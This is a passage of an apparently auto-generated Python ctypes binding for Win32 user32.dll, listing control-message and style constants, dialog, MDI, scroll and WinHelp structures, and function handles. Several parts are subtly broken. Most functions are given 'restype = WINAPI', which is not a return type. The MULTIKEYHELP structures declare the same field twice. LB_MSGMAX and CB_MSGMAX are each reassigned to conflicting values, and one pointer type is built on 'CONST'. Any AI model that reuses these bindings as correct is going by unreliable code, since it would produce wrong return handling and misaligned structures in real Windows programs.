0x000000D2\nEM_SETMARGINS = 0x000000D3\nEM_GETMARGINS = 0x000000D4\nEM_SETLIMITTEXT = EM_LIMITTEXT\nEM_GETLIMITTEXT = 0x000000D5\nEM_POSFROMCHAR = 0x000000D6\nEM_CHARFROMPOS = 0x000000D7\nEM_SETIMESTATUS = 0x000000D8\nEM_GETIMESTATUS = 0x000000D9\nEM_ENABLEFEATURE = 0x000000DA\n\n\nclass EDIT_CONTROL_FEATURE(ENUM):\n EDIT_CONTROL_FEATURE_ENTERPRISE_DATA_PROTECTION_PASTE_SUPPORT = 0\n EDIT_CONTROL_FEATURE_PASTE_NOTIFICATIONS = 1\n\n\nMAKEINTATOM = VOID\n\nWB_LEFT = 0x00000000\nWB_RIGHT = 0x00000001\nWB_ISDELIMITER = 0x00000002\nBS_PUSHBUTTON = 0x00000000\nBS_DEFPUSHBUTTON = 0x00000001\nBS_CHECKBOX = 0x00000002\nBS_AUTOCHECKBOX = 0x00000003\nBS_RADIOBUTTON = 0x00000004\nBS_3STATE = 0x00000005\nBS_AUTO3STATE = 0x00000006\nBS_GROUPBOX = 0x00000007\nBS_USERBUTTON = 0x00000008\nBS_AUTORADIOBUTTON = 0x00000009\nBS_PUSHBOX = 0x0000000A\nBS_OWNERDRAW = 0x0000000B\nBS_TYPEMASK = 0x0000000F\nBS_LEFTTEXT = 0x00000020\nBS_TEXT = 0x00000000\nBS_ICON = 0x00000040\nBS_BITMAP = 0x00000080\nBS_LEFT = 0x00000100\nBS_RIGHT = 0x00000200\nBS_CENTER = 0x00000300\nBS_TOP = 0x00000400\nBS_BOTTOM = 0x00000800\nBS_VCENTER = 0x00000C00\nBS_PUSHLIKE = 0x00001000\nBS_MULTILINE = 0x00002000\nBS_NOTIFY = 0x00004000\nBS_FLAT = 0x00008000\nBS_RIGHTBUTTON = BS_LEFTTEXT\nBN_CLICKED = 0x00000000\nBN_PAINT = 0x00000001\nBN_HILITE = 0x00000002\nBN_UNHILITE = 0x00000003\nBN_DISABLE = 0x00000004\nBN_DOUBLECLICKED = 0x00000005\nBN_PUSHED = BN_HILITE\nBN_UNPUSHED = BN_UNHILITE\nBN_DBLCLK = BN_DOUBLECLICKED\nBN_SETFOCUS = 0x00000006\nBN_KILLFOCUS = 0x00000007\nBM_GETCHECK = 0x000000F0\nBM_SETCHECK = 0x000000F1\nBM_GETSTATE = 0x000000F2\nBM_SETSTATE = 0x000000F3\nBM_SETSTYLE = 0x000000F4\nBM_CLICK = 0x000000F5\nBM_GETIMAGE = 0x000000F6\nBM_SETIMAGE = 0x000000F7\nBM_SETDONTCLICK = 0x000000F8\nBST_UNCHECKED = 0x00000000\nBST_CHECKED = 0x00000001\nBST_INDETERMINATE = 0x00000002\nBST_PUSHED = 0x00000004\nBST_FOCUS = 0x00000008\nSS_LEFT = 0x00000000\nSS_CENTER = 0x00000001\nSS_RIGHT = 0x00000002\nSS_ICON = 0x00000003\nSS_BLACKRECT = 0x00000004\nSS_GRAYRECT = 0x00000005\nSS_WHITERECT = 0x00000006\nSS_BLACKFRAME = 0x00000007\nSS_GRAYFRAME = 0x00000008\nSS_WHITEFRAME = 0x00000009\nSS_USERITEM = 0x0000000A\nSS_SIMPLE = 0x0000000B\nSS_LEFTNOWORDWRAP = 0x0000000C\nSS_OWNERDRAW = 0x0000000D\nSS_BITMAP = 0x0000000E\nSS_ENHMETAFILE = 0x0000000F\nSS_ETCHEDHORZ = 0x00000010\nSS_ETCHEDVERT = 0x00000011\nSS_ETCHEDFRAME = 0x00000012\nSS_TYPEMASK = 0x0000001F\nSS_REALSIZECONTROL = 0x00000040\nSS_NOPREFIX = 0x00000080\nSS_NOTIFY = 0x00000100\nSS_CENTERIMAGE = 0x00000200\nSS_RIGHTJUST = 0x00000400\nSS_REALSIZEIMAGE = 0x00000800\nSS_SUNKEN = 0x00001000\nSS_EDITCONTROL = 0x00002000\nSS_ENDELLIPSIS = 0x00004000\nSS_PATHELLIPSIS = 0x00008000\nSS_WORDELLIPSIS = 0x0000C000\nSS_ELLIPSISMASK = 0x0000C000\nSTM_SETICON = 0x00000170\nSTM_GETICON = 0x00000171\nSTM_SETIMAGE = 0x00000172\nSTM_GETIMAGE = 0x00000173\nSTN_CLICKED = 0x00000000\nSTN_DBLCLK = 0x00000001\nSTN_ENABLE = 0x00000002\nSTN_DISABLE = 0x00000003\nSTM_MSGMAX = 0x00000174\nWC_DIALOG = MAKEINTATOM(0x8002)\nDWL_MSGRESULT = 0x00000000\nDWL_DLGPROC = 0x00000004\nDWL_USER = 0x00000008\nDWLP_MSGRESULT = 0x00000000\nDWLP_DLGPROC = DWLP_MSGRESULT + ctypes.sizeof(LRESULT)\nDWLP_USER = DWLP_DLGPROC + ctypes.sizeof(DLGPROC)\n\n# WINAPI\n# IsDialogMessageA(\n# _In_ HWND hDlg,\n# _In_ LPMSG lpMsg);\nIsDialogMessageA = user32.IsDialogMessageA\nIsDialogMessageA.restype = WINAPI\n\n\n# WINAPI\n# IsDialogMessageW(\n# _In_ HWND hDlg,\n# _In_ LPMSG lpMsg);\nIsDialogMessageW = user32.IsDialogMessageW\nIsDialogMessageW.restype = WINAPI\n\nIsDialogMessage = IsDialogMessageW\n# IsDialogMessage = IsDialogMessageA\n\n# WINAPI\n# MapDialogRect(\n# _In_ HWND hDlg,\n# _Inout_ LPRECT lpRect);\nMapDialogRect = user32.MapDialogRect\nMapDialogRect.restype = WINAPI\n\n\n# WINAPI\n# DlgDirListA(\n# _In_ HWND hDlg,\n# _Inout_ LPSTR lpPathSpec,\n# _In_ INT nIDListBox,\n# _In_ INT nIDStaticPath,\n# _In_ UINT uFileType);\nDlgDirListA = user32.DlgDirListA\nDlgDirListA.restype = WINAPI\n\n\n# WINAPI\n# DlgDirListW(\n# _In_ HWND hDlg,\n# _Inout_ LPWSTR lpPathSpec,\n# _In_ INT nIDListBox,\n# _In_ INT nIDStaticPath,\n# _In_ UINT uFileType);\nDlgDirListW = user32.DlgDirListW\nDlgDirListW.restype = WINAPI\n\nDlgDirList = DlgDirListW\n# DlgDirList = DlgDirListA\nDDL_READWRITE = 0x00000000\nDDL_READONLY = 0x00000001\nDDL_HIDDEN = 0x00000002\nDDL_SYSTEM = 0x00000004\nDDL_DIRECTORY = 0x00000010\nDDL_ARCHIVE = 0x00000020\nDDL_POSTMSGS = 0x00002000\nDDL_DRIVES = 0x00004000\nDDL_EXCLUSIVE = 0x00008000\n\n# WINAPI\n# DlgDirSelectExA(\n# _In_ HWND hwndDlg,\n# _Out_writes_(chCount) LPSTR lpString,\n# _In_ INT chCount,\n# _In_ INT idListBox);\nDlgDirSelectExA = user32.DlgDirSelectExA\nDlgDirSelectExA.restype = WINAPI\n\n\n# WINAPI\n# DlgDirSelectExW(\n# _In_ HWND hwndDlg,\n# _Out_writes_(chCount) LPWSTR lpString,\n# _In_ INT chCount,\n# _In_ INT idListBox);\nDlgDirSelectExW = user32.DlgDirSelectExW\nDlgDirSelectExW.restype = WINAPI\n\nDlgDirSelectEx = DlgDirSelectExW\n# DlgDirSelectEx = DlgDirSelectExA\n\n# WINAPI\n# DlgDirListComboBoxA(\n# _In_ HWND hDlg,\n# _Inout_ LPSTR lpPathSpec,\n# _In_ INT nIDComboBox,\n# _In_ INT nIDStaticPath,\n# _In_ UINT uFiletype);\nDlgDirListComboBoxA = user32.DlgDirListComboBoxA\nDlgDirListComboBoxA.restype = WINAPI\n\n\n# WINAPI\n# DlgDirListComboBoxW(\n# _In_ HWND hDlg,\n# _Inout_ LPWSTR lpPathSpec,\n# _In_ INT nIDComboBox,\n# _In_ INT nIDStaticPath,\n# _In_ UINT uFiletype);\nDlgDirListComboBoxW = user32.DlgDirListComboBoxW\nDlgDirListComboBoxW.restype = WINAPI\n\nDlgDirListComboBox = DlgDirListComboBoxW\n# DlgDirListComboBox = DlgDirListComboBoxA\n\n# WINAPI\n# DlgDirSelectComboBoxExA(\n# _In_ HWND hwndDlg,\n# _Out_writes_(cchOut) LPSTR lpString,\n# _In_ INT cchOut,\n# _In_ INT idComboBox);\nDlgDirSelectComboBoxExA = user32.DlgDirSelectComboBoxExA\nDlgDirSelectComboBoxExA.restype = WINAPI\n\n\n# WINAPI\n# DlgDirSelectComboBoxExW(\n# _In_ HWND hwndDlg,\n# _Out_writes_(cchOut) LPWSTR lpString,\n# _In_ INT cchOut,\n# _In_ INT idComboBox);\nDlgDirSelectComboBoxExW = user32.DlgDirSelectComboBoxExW\nDlgDirSelectComboBoxExW.restype = WINAPI\n\nDlgDirSelectComboBoxEx = DlgDirSelectComboBoxExW\n# DlgDirSelectComboBoxEx = DlgDirSelectComboBoxExA\nDS_ABSALIGN = 0x00000001\nDS_SYSMODAL = 0x00000002\nDS_LOCALEDIT = 0x00000020\nDS_SETFONT = 0x00000040\nDS_MODALFRAME = 0x00000080\nDS_NOIDLEMSG = 0x00000100\nDS_SETFOREGROUND = 0x00000200\nDS_3DLOOK = 0x00000004\nDS_FIXEDSYS = 0x00000008\nDS_NOFAILCREATE = 0x00000010\nDS_CONTROL = 0x00000400\nDS_CENTER = 0x00000800\nDS_CENTERMOUSE = 0x00001000\nDS_CONTEXTHELP = 0x00002000\nDS_SHELLFONT = DS_SETFONT | DS_FIXEDSYS\nDS_USEPIXELS = 0x00008000\nDM_GETDEFID = WM_USER+0\nDM_SETDEFID = WM_USER+1\nDM_REPOSITION = WM_USER+2\nDC_HASDEFID = 0x0000534B\nDLGC_WANTARROWS = 0x00000001\nDLGC_WANTTAB = 0x00000002\nDLGC_WANTALLKEYS = 0x00000004\nDLGC_WANTMESSAGE = 0x00000004\nDLGC_HASSETSEL = 0x00000008\nDLGC_DEFPUSHBUTTON = 0x00000010\nDLGC_UNDEFPUSHBUTTON = 0x00000020\nDLGC_RADIOBUTTON = 0x00000040\nDLGC_WANTCHARS = 0x00000080\nDLGC_STATIC = 0x00000100\nDLGC_BUTTON = 0x00002000\nLB_CTLCODE = 0x00000000\nLB_OKAY = 0x00000000\nLB_ERR = -1\nLB_ERRSPACE = -2\nLBN_ERRSPACE = -2\nLBN_SELCHANGE = 0x00000001\nLBN_DBLCLK = 0x00000002\nLBN_SELCANCEL = 0x00000003\nLBN_SETFOCUS = 0x00000004\nLBN_KILLFOCUS = 0x00000005\nLB_ADDSTRING = 0x00000180\nLB_INSERTSTRING = 0x00000181\nLB_DELETESTRING = 0x00000182\nLB_SELITEMRANGEEX = 0x00000183\nLB_RESETCONTENT = 0x00000184\nLB_SETSEL = 0x00000185\nLB_SETCURSEL = 0x00000186\nLB_GETSEL = 0x00000187\nLB_GETCURSEL = 0x00000188\nLB_GETTEXT = 0x00000189\nLB_GETTEXTLEN = 0x0000018A\nLB_GETCOUNT = 0x0000018B\nLB_SELECTSTRING = 0x0000018C\nLB_DIR = 0x0000018D\nLB_GETTOPINDEX = 0x0000018E\nLB_FINDSTRING = 0x0000018F\nLB_GETSELCOUNT = 0x00000190\nLB_GETSELITEMS = 0x00000191\nLB_SETTABSTOPS = 0x00000192\nLB_GETHORIZONTALEXTENT = 0x00000193\nLB_SETHORIZONTALEXTENT = 0x00000194\nLB_SETCOLUMNWIDTH = 0x00000195\nLB_ADDFILE = 0x00000196\nLB_SETTOPINDEX = 0x00000197\nLB_GETITEMRECT = 0x00000198\nLB_GETITEMDATA = 0x00000199\nLB_SETITEMDATA = 0x0000019A\nLB_SELITEMRANGE = 0x0000019B\nLB_SETANCHORINDEX = 0x0000019C\nLB_GETANCHORINDEX = 0x0000019D\nLB_SETCARETINDEX = 0x0000019E\nLB_GETCARETINDEX = 0x0000019F\nLB_SETITEMHEIGHT = 0x000001A0\nLB_GETITEMHEIGHT = 0x000001A1\nLB_FINDSTRINGEXACT = 0x000001A2\nLB_SETLOCALE = 0x000001A5\nLB_GETLOCALE = 0x000001A6\nLB_SETCOUNT = 0x000001A7\nLB_INITSTORAGE = 0x000001A8\nLB_ITEMFROMPOINT = 0x000001A9\nLB_MULTIPLEADDSTRING = 0x000001B1\nLB_GETLISTBOXINFO = 0x000001B2\nLB_MSGMAX = 0x000001B3\nLB_MSGMAX = 0x000001B1\nLB_MSGMAX = 0x000001B0\nLB_MSGMAX = 0x000001A8\nLBS_NOTIFY = 0x00000001\nLBS_SORT = 0x00000002\nLBS_NOREDRAW = 0x00000004\nLBS_MULTIPLESEL = 0x00000008\nLBS_OWNERDRAWFIXED = 0x00000010\nLBS_OWNERDRAWVARIABLE = 0x00000020\nLBS_HASSTRINGS = 0x00000040\nLBS_USETABSTOPS = 0x00000080\nLBS_NOINTEGRALHEIGHT = 0x00000100\nLBS_MULTICOLUMN = 0x00000200\nLBS_WANTKEYBOARDINPUT = 0x00000400\nLBS_EXTENDEDSEL = 0x00000800\nLBS_DISABLENOSCROLL = 0x00001000\nLBS_NODATA = 0x00002000\nLBS_NOSEL = 0x00004000\nLBS_COMBOBOX = 0x00008000\nLBS_STANDARD = LBS_NOTIFY | LBS_SORT | WS_VSCROLL | WS_BORDER\nCB_OKAY = 0x00000000\nCB_ERR = -1\nCB_ERRSPACE = -2\nCBN_ERRSPACE = -1\nCBN_SELCHANGE = 0x00000001\nCBN_DBLCLK = 0x00000002\nCBN_SETFOCUS = 0x00000003\nCBN_KILLFOCUS = 0x00000004\nCBN_EDITCHANGE = 0x00000005\nCBN_EDITUPDATE = 0x00000006\nCBN_DROPDOWN = 0x00000007\nCBN_CLOSEUP = 0x00000008\nCBN_SELENDOK = 0x00000009\nCBN_SELENDCANCEL = 0x0000000A\nCBS_SIMPLE = 0x00000001\nCBS_DROPDOWN = 0x00000002\nCBS_DROPDOWNLIST = 0x00000003\nCBS_OWNERDRAWFIXED = 0x00000010\nCBS_OWNERDRAWVARIABLE = 0x00000020\nCBS_AUTOHSCROLL = 0x00000040\nCBS_OEMCONVERT = 0x00000080\nCBS_SORT = 0x00000100\nCBS_HASSTRINGS = 0x00000200\nCBS_NOINTEGRALHEIGHT = 0x00000400\nCBS_DISABLENOSCROLL = 0x00000800\nCBS_UPPERCASE = 0x00002000\nCBS_LOWERCASE = 0x00004000\nCB_GETEDITSEL = 0x00000140\nCB_LIMITTEXT = 0x00000141\nCB_SETEDITSEL = 0x00000142\nCB_ADDSTRING = 0x00000143\nCB_DELETESTRING = 0x00000144\nCB_DIR = 0x00000145\nCB_GETCOUNT = 0x00000146\nCB_GETCURSEL = 0x00000147\nCB_GETLBTEXT = 0x00000148\nCB_GETLBTEXTLEN = 0x00000149\nCB_INSERTSTRING = 0x0000014A\nCB_RESETCONTENT = 0x0000014B\nCB_FINDSTRING = 0x0000014C\nCB_SELECTSTRING = 0x0000014D\nCB_SETCURSEL = 0x0000014E\nCB_SHOWDROPDOWN = 0x0000014F\nCB_GETITEMDATA = 0x00000150\nCB_SETITEMDATA = 0x00000151\nCB_GETDROPPEDCONTROLRECT = 0x00000152\nCB_SETITEMHEIGHT = 0x00000153\nCB_GETITEMHEIGHT = 0x00000154\nCB_SETEXTENDEDUI = 0x00000155\nCB_GETEXTENDEDUI = 0x00000156\nCB_GETDROPPEDSTATE = 0x00000157\nCB_FINDSTRINGEXACT = 0x00000158\nCB_SETLOCALE = 0x00000159\nCB_GETLOCALE = 0x0000015A\nCB_GETTOPINDEX = 0x0000015B\nCB_SETTOPINDEX = 0x0000015C\nCB_GETHORIZONTALEXTENT = 0x0000015D\nCB_SETHORIZONTALEXTENT = 0x0000015E\nCB_GETDROPPEDWIDTH = 0x0000015F\nCB_SETDROPPEDWIDTH = 0x00000160\nCB_INITSTORAGE = 0x00000161\nCB_MULTIPLEADDSTRING = 0x00000163\nCB_GETCOMBOBOXINFO = 0x00000164\nCB_MSGMAX = 0x00000165\nCB_MSGMAX = 0x00000163\nCB_MSGMAX = 0x00000162\nCB_MSGMAX = 0x0000015B\nSBS_HORZ = 0x00000000\nSBS_VERT = 0x00000001\nSBS_TOPALIGN = 0x00000002\nSBS_LEFTALIGN = 0x00000002\nSBS_BOTTOMALIGN = 0x00000004\nSBS_RIGHTALIGN = 0x00000004\nSBS_SIZEBOXTOPLEFTALIGN = 0x00000002\nSBS_SIZEBOXBOTTOMRIGHTALIGN = 0x00000004\nSBS_SIZEBOX = 0x00000008\nSBS_SIZEGRIP = 0x00000010\nSBM_SETPOS = 0x000000E0\nSBM_GETPOS = 0x000000E1\nSBM_SETRANGE = 0x000000E2\nSBM_SETRANGEREDRAW = 0x000000E6\nSBM_GETRANGE = 0x000000E3\nSBM_ENABLE_ARROWS = 0x000000E4\nSBM_SETSCROLLINFO = 0x000000E9\nSBM_GETSCROLLINFO = 0x000000EA\nSBM_GETSCROLLBARINFO = 0x000000EB\nSIF_RANGE = 0x00000001\nSIF_PAGE = 0x00000002\nSIF_POS = 0x00000004\nSIF_DISABLENOSCROLL = 0x00000008\nSIF_TRACKPOS = 0x00000010\nSIF_ALL = SIF_RANGE | SIF_PAGE | SIF_POS | SIF_TRACKPOS\n\nclass tagSCROLLINFO(ctypes.Structure):\n _fields_ = [\n ('cbSize', UINT),\n ('fMask', UINT),\n ('nMin', INT),\n ('nMax', INT),\n ('nPage', UINT),\n ('nPos', INT),\n ('nTrackPos', INT),\n ]\n\n\nSCROLLINFO = tagSCROLLINFO\nLPSCROLLINFO = POINTER(tagSCROLLINFO)\n\n\nLPCSCROLLINFO = POINTER(CONST)\n\n# WINAPI\n# SetScrollInfo(\n# _In_ HWND hwnd,\n# _In_ INT nBar,\n# _In_ LPCSCROLLINFO lpsi,\n# _In_ BOOL redraw);\nSetScrollInfo = user32.SetScrollInfo\nSetScrollInfo.restype = WINAPI\n\n\n# WINAPI\n# GetScrollInfo(\n# _In_ HWND hwnd,\n# _In_ INT nBar,\n# _Inout_ LPSCROLLINFO lpsi);\nGetScrollInfo = user32.GetScrollInfo\nGetScrollInfo.restype = WINAPI\n\nMDIS_ALLCHILDSTYLES = 0x00000001\nMDITILE_VERTICAL = 0x00000000\nMDITILE_HORIZONTAL = 0x00000001\nMDITILE_SKIPDISABLED = 0x00000002\nMDITILE_ZORDER = 0x00000004\n\nclass tagMDICREATESTRUCTA(ctypes.Structure):\n _fields_ = [\n ('szClass', LPCSTR),\n ('szTitle', LPCSTR),\n ('hOwner', HANDLE),\n ('x', INT),\n ('y', INT),\n ('cx', INT),\n ('cy', INT),\n ('style', DWORD),\n ('lParam', LPARAM),\n ]\n\n\nMDICREATESTRUCTA = tagMDICREATESTRUCTA\nLPMDICREATESTRUCTA = POINTER(tagMDICREATESTRUCTA)\n\n\n\nclass tagMDICREATESTRUCTW(ctypes.Structure):\n _fields_ = [\n ('szClass', LPCWSTR),\n ('szTitle', LPCWSTR),\n ('hOwner', HANDLE),\n ('x', INT),\n ('y', INT),\n ('cx', INT),\n ('cy', INT),\n ('style', DWORD),\n ('lParam', LPARAM),\n ]\n\n\nMDICREATESTRUCTW = tagMDICREATESTRUCTW\nLPMDICREATESTRUCTW = POINTER(tagMDICREATESTRUCTW)\n\n\nMDICREATESTRUCT = MDICREATESTRUCTW\nLPMDICREATESTRUCT = LPMDICREATESTRUCTW\n\nclass tagCLIENTCREATESTRUCT(ctypes.Structure):\n _fields_ = [\n ('hWindowMenu', HANDLE),\n ('idFirstChild', UINT),\n ]\n\n\nCLIENTCREATESTRUCT = tagCLIENTCREATESTRUCT\nLPCLIENTCREATESTRUCT = POINTER(tagCLIENTCREATESTRUCT)\n\n\n\n# WINAPI\n# DefFrameProcA(\n# _In_ HWND hWnd,\n# _In_opt_ HWND hWndMDIClient,\n# _In_ UINT uMsg,\n# _In_ WPARAM wParam,\n# _In_ LPARAM lParam);\nDefFrameProcA = user32.DefFrameProcA\nDefFrameProcA.restype = WINAPI\n\n\n# WINAPI\n# DefFrameProcW(\n# _In_ HWND hWnd,\n# _In_opt_ HWND hWndMDIClient,\n# _In_ UINT uMsg,\n# _In_ WPARAM wParam,\n# _In_ LPARAM lParam);\nDefFrameProcW = user32.DefFrameProcW\nDefFrameProcW.restype = WINAPI\n\nDefFrameProc = DefFrameProcW\n# DefFrameProc = DefFrameProcA\n\n# #endif\n# DefMDIChildProcA(\n# _In_ HWND hWnd,\n# _In_ UINT uMsg,\n# _In_ WPARAM wParam,\n# _In_ LPARAM lParam);\nDefMDIChildProcA = user32.DefMDIChildProcA\nDefMDIChildProcA.restype = WINAPI\n\n\n# #endif\n# DefMDIChildProcW(\n# _In_ HWND hWnd,\n# _In_ UINT uMsg,\n# _In_ WPARAM wParam,\n# _In_ LPARAM lParam);\nDefMDIChildProcW = user32.DefMDIChildProcW\nDefMDIChildProcW.restype = WINAPI\n\nDefMDIChildProc = DefMDIChildProcW\n# DefMDIChildProc = DefMDIChildProcA\n\n# WINAPI\n# TranslateMDISysAccel(\n# _In_ HWND hWndClient,\n# _In_ LPMSG lpMsg);\nTranslateMDISysAccel = user32.TranslateMDISysAccel\nTranslateMDISysAccel.restype = WINAPI\n\n\n# WINAPI\n# ArrangeIconicWindows(\n# _In_ HWND hWnd);\nArrangeIconicWindows = user32.ArrangeIconicWindows\nArrangeIconicWindows.restype = WINAPI\n\n\n# WINAPI\n# CreateMDIWindowA(\n# _In_ LPCSTR lpClassName,\n# _In_ LPCSTR lpWindowName,\n# _In_ DWORD dwStyle,\n# _In_ INT X,\n# _In_ INT Y,\n# _In_ INT nWidth,\n# _In_ INT nHeight,\n# _In_opt_ HWND hWndParent,\n# _In_opt_ HINSTANCE hInstance,\n# _In_ LPARAM lParam);\nCreateMDIWindowA = user32.CreateMDIWindowA\nCreateMDIWindowA.restype = WINAPI\n\n\n# WINAPI\n# CreateMDIWindowW(\n# _In_ LPCWSTR lpClassName,\n# _In_ LPCWSTR lpWindowName,\n# _In_ DWORD dwStyle,\n# _In_ INT X,\n# _In_ INT Y,\n# _In_ INT nWidth,\n# _In_ INT nHeight,\n# _In_opt_ HWND hWndParent,\n# _In_opt_ HINSTANCE hInstance,\n# _In_ LPARAM lParam);\nCreateMDIWindowW = user32.CreateMDIWindowW\nCreateMDIWindowW.restype = WINAPI\n\nCreateMDIWindow = CreateMDIWindowW\n# CreateMDIWindow = CreateMDIWindowA\n\n# WINAPI\n# TileWindows(\n# _In_opt_ HWND hwndParent,\n# _In_ UINT wHow,\n# _In_opt_ CONST RECT * lpRect,\n# _In_ UINT cKids,\n# _In_reads_opt_(cKids) HWND FAR * lpKids);\nTileWindows = user32.TileWindows\nTileWindows.restype = WINAPI\n\n\n# WORD\n# WINAPI CascadeWindows(\n# _In_opt_ HWND hwndParent,\n# _In_ UINT wHow,\n# _In_opt_ CONST RECT * lpRect,\n# _In_ UINT cKids,\n# _In_reads_opt_(cKids) HWND FAR * lpKids);\nCascadeWindows = user32.CascadeWindows\nCascadeWindows.restype = WINAPI\n\nHELPPOLY = DWORD\n\nclass tagMULTIKEYHELPA(ctypes.Structure):\n _fields_ = [\n ('mkSize', DWORD),\n ('mkSize', WORD),\n ('mkKeylist', CHAR),\n ('szKeyphrase', CHAR * 1),\n ]\n\n\nMULTIKEYHELPA = tagMULTIKEYHELPA\nPMULTIKEYHELPA = POINTER(tagMULTIKEYHELPA)\nLPMULTIKEYHELPA = POINTER(tagMULTIKEYHELPA)\n\n\n\nclass tagMULTIKEYHELPW(ctypes.Structure):\n _fields_ = [\n ('mkSize', DWORD),\n ('mkSize', WORD),\n ('mkKeylist', WCHAR),\n ('szKeyphrase', WCHAR * 1),\n ]\n\n\nMULTIKEYHELPW = tagMULTIKEYHELPW\nPMULTIKEYHELPW = POINTER(tagMULTIKEYHELPW)\nLPMULTIKEYHELPW = POINTER(tagMULTIKEYHELPW)\n\n\nMULTIKEYHELP = MULTIKEYHELPW\nPMULTIKEYHELP = PMULTIKEYHELPW\nLPMULTIKEYHELP = LPMULTIKEYHELPW\n\nclass tagHELPWININFOA(ctypes.Structure):\n _fields_ = [\n ('wStructSize', INT),\n ('x', INT),\n ('y', INT),\n ('dx', INT),\n ('dy', INT),\n ('wMax', INT),\n ('rgchMember', CHAR * 2),\n ]\n\n\nHELPWININFOA = tagHELPWININFOA\nPHELPWININFOA = POINTER(tagHELPWININFOA)\nLPHELPWININFOA = POINTER(tagHELPWININFOA)\n\n\n\nclass tagHELPWININFOW(ctypes.Structure):\n _fields_ = [\n ('wStructSize', INT),\n ('x', INT),\n ('y', INT),\n ('dx', INT),\n ('dy', INT),\n ('wMax', INT),\n ('rgchMember', WCHAR * 2),\n ]\n\n\nHELPWININFOW = tagHELPWININFOW\nPHELPWININFOW = POINTER(tagHELPWININFOW)\nLPHELPWININFOW = POINTER(tagHELPWININFOW)\n\n\nHELPWININFO = HELPWININFOW\nPHELPWININFO = PHELPWININFOW\nLPHELPWININFO = LPHELPWININFOW\nHELP_CONTEXT = 0x00000001\nHELP_QUIT = 0x00000002\nHELP_INDEX = 0x00000003\nHELP_CONTENTS = 0x00000003\nHELP_HELPONHELP = 0x00000004\nHELP_SETINDEX = 0x00000005\nHELP_SETCONTENTS = 0x00000005\nHELP_CONTEXTPOPUP = 0x00000008\nHELP_FORCEFILE = 0x00000009\nHELP_KEY = 0x00000101\nHELP_COMMAND = 0x00000102\nHELP_PARTIALKEY = 0x00000105\nHELP_MULTIKEY = 0x00000201\nHELP_SETWINPOS = 0x00000203\nHELP_CONTEXTMENU = 0x0000000A\nHELP_FINDER = 0x0000000B\nHELP_WM_HELP = 0x0000000C\nHELP_SETPOPUP_POS = 0x0000000D\nHELP_TCARD = 0x00008000\nHELP_TCARD_DATA = 0x00000010\nHELP_TCARD_OTHER_CALLER = 0x00000011\nIDH_NO_HELP = 0x00006F18\nIDH_MISSING_CONTEXT = 0x00006F19\nIDH_GENERIC_HELP_BUTTON = 0x00006F1A\nIDH_OK = 0x00006F1B\nIDH_CANCEL = 0x00006F1C\nIDH_HELP = 0x00006F1D\n\n# WINAPI\n# WinHelpA(\n# _In_opt_ HWND hWndMain,\n# _In_opt_ LPCSTR lpszHelp,\n# _In_ UINT uCommand,\n# _In_ ULONG_PTR dwData);\nWinHelpA = user32.WinHelpA\nWinHelpA.restype = WINAPI\n\n\n# WINAPI\n# WinHelpW(\n# _In_opt_ HWND hWndMain,\n# _In_opt_ LPCWSTR lpszHelp,\n# _In_ UINT uCommand,\n# _In_ ULONG_PTR dwData);\nWinHelpW = user32.WinHelpW\nWinHelpW.restype = WINAPI\n\nWinHelp = WinHelpW\n# WinHelp = WinHelpA\nGR_GDIOBJECTS = 0x00000000\nGR_USEROBJECTS = 0x00000001\nGR_GDIOBJECTS_PEAK = 0x00000002\nGR_USEROBJECTS_PEAK = 0x00000004\nGR_GLOBAL = -2\n\n# WINAPI\n# GetGuiResources(\n# _In_ HANDLE hProcess,\n# _In_ DWORD uiFlags);\nGetGuiResources = user32.GetGuiResources\nGetGuiResources.restype = WINAPI\n\nSPI_GETBEEP = 0x00000001\nSPI_SETBEEP = 0x00000002\nSPI_GETMOUSE = 0x00000003\nSPI_SETMOUSE = 0x00000004\nSPI_GETBORDER = 0x00000005\nSPI_SETBORDER = 0x00000006\nSPI_GETKEYBOARDSPEED = 0x0000000A\nSPI_SETKEYBOARDSPEED = 0x0000000B\nSPI_LANGDRIVER = 0x0000000C\nSPI_ICONHORIZONTALSPACING = 0x0000000D\nSPI_GETSCREENSAVETIMEOUT = 0x0000000E\nSPI_SETSCREENSAVETIMEOUT = 0x0000000F\nSPI_GETSCREENSAVEACTIVE = 0x00000010\nSPI_SETSCREENSAVEACTIVE = 0x00000011\nSPI_GETGRIDGRANULARITY = 0x00000012\nSPI_SETGRIDGRANULARITY = 0x00000013\nSPI_SETDESKWALLPAPER = 0x00000014\nSPI_SETDESKPATTERN = 0x00000015\nSPI_GETKEYBOARDDELAY = 0x00000016\nSPI_SETKEYBOARDDELAY = 0x00000017\nSPI_ICONVERTICALSPACING = 0x00000018\nSPI_GETICONTITLEWRAP = 0x00000019\nSPI_SETICONTITLEWRAP = 0x0000001A\nSPI_GETMENUDROPALIGNMENT = 0x0000001B\nSPI_SETMENUDROPALIGNMENT = 0x0000001C\nSPI_SETDOUBLECLKWIDTH = 0x0000001D\nSPI_SETDOUBLECLKHEIGHT = 0x0000001E\nSPI_GETICONTITLELOGFONT = 0x0000001F\nSPI_SETDOUBLECLICKTIME = 0x00000020\nSPI_SETMOUSEBUTTONSWAP = 0x00000021\nSPI_SETICONTITLELOGFONT = 0x00000022\nSPI_GETFASTTASKSWITCH = 0x00000023\nSPI_SETFASTTASKSWITCH = 0x00000024\nSPI_SETDRAGFULLWINDOWS = 0x00000025\nSPI_GETDRAGFULLWINDOWS = 0x00000026\nSPI_GETNONCLIENTMETRICS = 0x00000029\nSPI_SETNONCLIENTMETRICS = 0x0000002A\nSPI_GETMINIMIZEDMETRICS = 0x0000002B\nSPI_SETMINIMIZEDMETRICS = 0x0000002C\nSPI_GETICONMETRICS = 0x0000002D\nSPI_SETICONMETRICS = 0x0000002E\nSPI_SETWORKAREA = 0x0000002F\nSPI_GETWORKAREA = 0x00000030\nSPI_SETPENWINDOWS = 0x00000031\nSPI_GETHIGHCONTRAST = 0x00000042\nSPI_SETHIGHCONTRAST = 0x00000043\nSPI_GETKEYBOARDPREF = 0x00000044\nSPI_SETKEYBOARDPREF = 0x00000045\nSPI_GETSCREENREADER = 0x00000046\nSPI_SETSCREENREADER = 0x00000047\nSPI_GETANIMATION = 0x00000048\nSPI_SETANIMATION = 0x00000049\nSPI_GETFONTSMOOTHING = 0x0000004A\nSPI_SETFONTSMOOTHING = 0x0000004B\nSPI_SETDRAGWIDTH = 0x0000004C\nSPI_SETDRAGHEIGHT = 0x0000004D\nSPI_SETHANDHELD = 0x0000004E\nSPI_GETLOWPOWERTIMEOUT = 0x0000004F\nSPI_GETPOWEROFFTIMEOUT = 0x00000050\nSPI_SETLOWPOWERTIMEOUT = 